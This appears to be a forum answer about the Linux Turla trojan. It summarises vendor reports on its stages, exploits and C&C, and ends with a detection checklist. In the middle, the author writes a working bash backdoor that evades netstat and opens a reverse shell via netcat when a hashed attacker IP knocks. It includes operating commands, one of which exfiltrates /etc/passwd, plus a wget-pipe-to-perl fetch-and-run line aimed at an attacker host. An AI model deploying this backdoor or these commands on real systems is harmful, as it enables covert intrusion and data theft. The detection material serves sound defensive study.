Linux-based Turla trojan
TURLA is the final stage of a large and sophisticated family of malware. There have been known Windows versions since at least 2010. This 40 page presentation is the most comprehensive resource I have seen, for either platform.
TURLA - development & operations
Some Windows Highlights
- Stage 0: attack stage - infection vector
- Stage 1: reconnaissance stage - initial backdoor
- Stage 2: lateral movements
- Stage 3: access established stage -TURLA deployed
- On each stage they can quit if they lose interest in target
Stage 0: Injection Vectors
Spear Phishing (CVE-2013-3346)(CVE-2013-5065)
Watering Holes [Adobe Update social engineering / Java exploits (CVE-2012-1723), Adobe Flash exploits or Internet Explorer 6,7,8 exploits]
Third party supplier compromise
Stage 1: Reconaissance Stage
Initial backdoor - WipBot/Epic/TavDig
WipBot is a combination of a zero-day and a CVE-2013-3346 exploit
Exports functions with same names as TURLA. No other similarities
Breaks debugging and most malware sandboxes
Process hops several times, wipes its own PE section
Further described in Kaspersky Lab report
Stage 2: Lateral Movements
Refine C&C
Further penetrate network
Utilize new backdoor
Gets Domain Admin credentials
Stage 3: Turla
Dropped on select machines for long-term compromise
Machines can be compromised for years without detection
Other Resources
The 'Penguin Turla' - Kaspersky Lab (linux specific details)
Symantec Report - Turla
Linux Highlights
Turla module written in C/C++
Based on cd00r
Executable is statically linked against multiple libraries
Its functionality includes hidden network communications, arbitrary remote command execution, and remote management
Much of its code is based on public sources
Cannot be detected with netstat
Does not require root access
Linux Executable Characteristics
- ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, stripped
Linux Statically Linked Libraries
glibc2.3.2 - the GNU C library
openssl v0.9.6 - an older OpenSSL library
libpcap - tcpdump's network capture library
Linux C&C Details
First stage C&C is hardcoded. Known activity @ news-bbc.podzone[.]org
pDNS IP: 80.248.65.183
Linux Startup/Execution Details
Process requires two parameters: ID (a numeric value used as a part of the "magic packet for authentication") and an existing network interface name
The parameters can be inputted two different ways: from STDIN, or from dropper a launching the sample
After the ID and interface name are entered and the process launched, the backdoor's process PID is returned
Linux Magic Packet
Statically links PCAP libraries
Gets raw socket, applies filter, captures packets
Checks for an ACK number in the TCP header, or the second byte from the UDP packet body
If condition is met, execution jumps to packet payload contents and creates regular socket
Backdoor uses new socket to connect to source address of Magic Packets
Backdoor reports its own PID and IP, waits to receive commands
Arriving commands are executed with a "/bin/sh -c " script
Final Notes
Everything regarding the linux version was from the Kaspersky report. Unfortunately, detecting seems to be very difficult at this point.
"Although Linux variants from the Turla framework were known to exist, we haven't seen any in the wild yet." - Kaspersky Lab
How this work:
Short intro
In order to find a way to detect them, I've strongly worked around concept and methods.
For this, I quickly wrote a little bash script working in approx same way.
From there and with some additional knowledge about Un*x concepts, I post my checklist which could help to find this working trojan in any system.
Bash re-written Turla knock-door
In order to understand how this work, I wrote this:
(This have to be run on target host, by some remote exploit, viruses or else.)
#!/bin/bash
myIpSum=${1:-1b673d1250747dd45696ff954aceed02}
myIpSalt=SaltMyIP # Making IpSum more difficult to retrieve
printf -v bport %04X ${2:-22} # port to watch for incoming ``knock''
printf -v rport %d ${3:-80} # port listen on attacker host
while true;do
while IFS=': ' read seq loci locp remi remp foo;do
[ -z "${seq//[0-9]}" ] &&
[ "$locp" == "$bport" ] &&
[ "$remp" != "0000" ] &&
myIpAdd=$[16#${remi:6:2}].$[16#${remi:4:2}] &&
myIpAdd+=.$[16#${remi:2:2}].$[16#${remi:0:2}] &&
chksum=($(md5sum <<<$myIpSalt$myIpAdd)) &&
[ "$chksum" == "$myIpSum" ] &&
nc -w 10 -c "/bin/bash ${4} 2>&1" $myIpAdd $rport
done < /proc/net/tcp
read -t .5 -n 1
[ "$REPLY" == "q" ] && exit 0
done
This is not totally undetectable but...
Features
- Totally undetectable by using
netstat
, while staying listen for attacker's connexions. - Use [In->Out] as [RANDOM->80] tcp ports to make connection look like any surf connection.
- Wait for specific IP (hashed, so not readable) on local port 22, without using promiscuous mode nor requiring root privilege
- Once detected an incomming connection from the specific IP (Knock!), this open a connection to this IP, on port 80 to look like a surf connection and offer a bash, back on this connection.
Note: Real trojan could use SSL and real HTTP Headers in order to work through proxy too!!
This accept 4 arguments:
$0 [myIpSum [KnockDoorPort [myPort [-i]]]]
myIpSUm
is hash of salted attacker's IP. Could be rendered by usingmd5sum <<<SaltMyIP192.168.1.31
(Salt could be changed in script).KnockDoorPort -> bport
is any already binded port, used on target host (22 for sample if target serve SSH, but any opened port could be used)myPort -> rport
is local attacker's port used for incomming connection (80 to look like outgoing http connection. Of course attacker have to be root on his host!)-i
flag could be used to runbash
interactively
Step of infection
First step is to run this script by using any remote exploit, like
shellshock
or any buffer-overflow.Second, attacker have to know target's IP, in order to send a
knock door
on port 22Use from attacker's IP (as root for listening on tcp port 80), wait for target's incomming connection.
You're logger in a shell on target!
bash -c "nc -q 1 < <(sleep 1) $target 22 &>/dev/null & ";nc -l -p -w 3 -q 3 80 <<<"$remoteCommandLine with args"
Sample:
bash -c 'nc -q 1 < <(sleep 1) $target 22 &>/dev/null &
';nc -l -w 5 -q 3 -p 80 <<<uptime
18:43:00 up 21 days, 6:19, 1 user, load average: 0.00, 0.01, 0.00
or
bash -c 'nc -q 1 < <(sleep 1) $target 22 &>/dev/null &
';nc -l -w 5 -q 3 -p 80 <<<'tar -zcC /etc passwd group 2>/dev/null' |\
tar -ztvf -
-rw-r--r-- root/root 1222 2011-11-19 10:00 passwd
-rw-r--r-- root/root 611 2011-11-19 10:00 group
Not so easy to detect
While the script stay running on target host, and no attacker's connection are open, the running script is not visible by using netcat
.
Knock
are done once on port 22 where having a lot of connection fail is regular. Real shell connection look like any outgoing http connection.
Answers:
-
How do linux machines get infected
This is a trojan, so this question does not really a matter... (see Shellshock, for sample)
-
Is there any privilege escalation involved, or is the whole thing only happening under the infected user (i.e. uid 1000)
No, one of the goal of this is to permit attacker to search for a way of doing privilege escalation.
-
Where does the malware code "live" on the infected machine
Everywhere and nowhere: If you run this as an attachment, you may know where you've been stored them. If it's run from a remote exploit, they could delete the binary once run.
If Turla is a binary (C written), thay have to be stored somewhere in your Un*x system, with executable flags set in order to be run. Recent filesystem do permit to delete them after running, but inode have to stay untouched!
This could be revealed be searching for binaries that run in your system but is located in standardPATH
.If trojan is a script, only the binary have to be linked in filesystem, so the script could be deleted or even run as
STDIN
and not stored at all.
wget -qO - http://attacker.example.com/virus.pl | perl
-
plus any other interesting details
Please try my bash script...
Checklist (added: 2015-02-04)
Search for forked pids (where Parent Pid == 1)
grep PPid:\\s1$ /proc/*/status
Search for process that don't run binary from
PATH
for pid in $(ps axho pid);do readlink /proc/$pid/exe | sed 's/\/[^\/]*$//'| grep -q "^${PATH//:/$\|^}$" || printf "%10d %-16s %s\n" $pid "$( sed 's/Name:[\t ]*//;q' /proc/$pid/status )" "$( readlink /proc/$pid/exe )" done
Search for process running for a long time
ps axho pid,etime,user,cmd
...
ps axho pid,etimes,user,cmd | grep -v '[0-9] root ' | sort -nk2
Script: Search for process making sort of hidding: compare
exe
andcommand line
for pid in $( grep PPid:\\s1$ /proc/*/status | cut -d/ -f3 ) ;do printf "%10d %-40s %s\n" $pid "$( readlink /proc/$pid/exe)" "$(</proc/$pid/cmdline)" done
Using
apparmor
, you could watch for process accessing tcp stack (and/or udp stack).Using
tcpdump
, there is a strong work, but an efficient solution:Watch for outgoing connection wich make any kind of request, become an answer not necessarly immediately after, but send next request immediately after recieving first answer, then don't care about last request's answer: will quit when recieving
exit
directive, saying something likelogout.
, wich could by driven as the last http request of current session, but close before recieving any http response.In fact, you have to find an outgoing connection where data exchanges don't match regular scheme of outgoing connection but an hybrid scheme of server-start - incoming connection - server-stop.
Of course, this have to be trapped because no connection are permanently open.
Making system calls statistics (using apparmor)
thanks to alphanet for this idea
Make stats for each running process and
Submit them to a bayesian tool to compute regular profiles
In order to become alerted when a new process don't match regular profiles (or even when a running process change).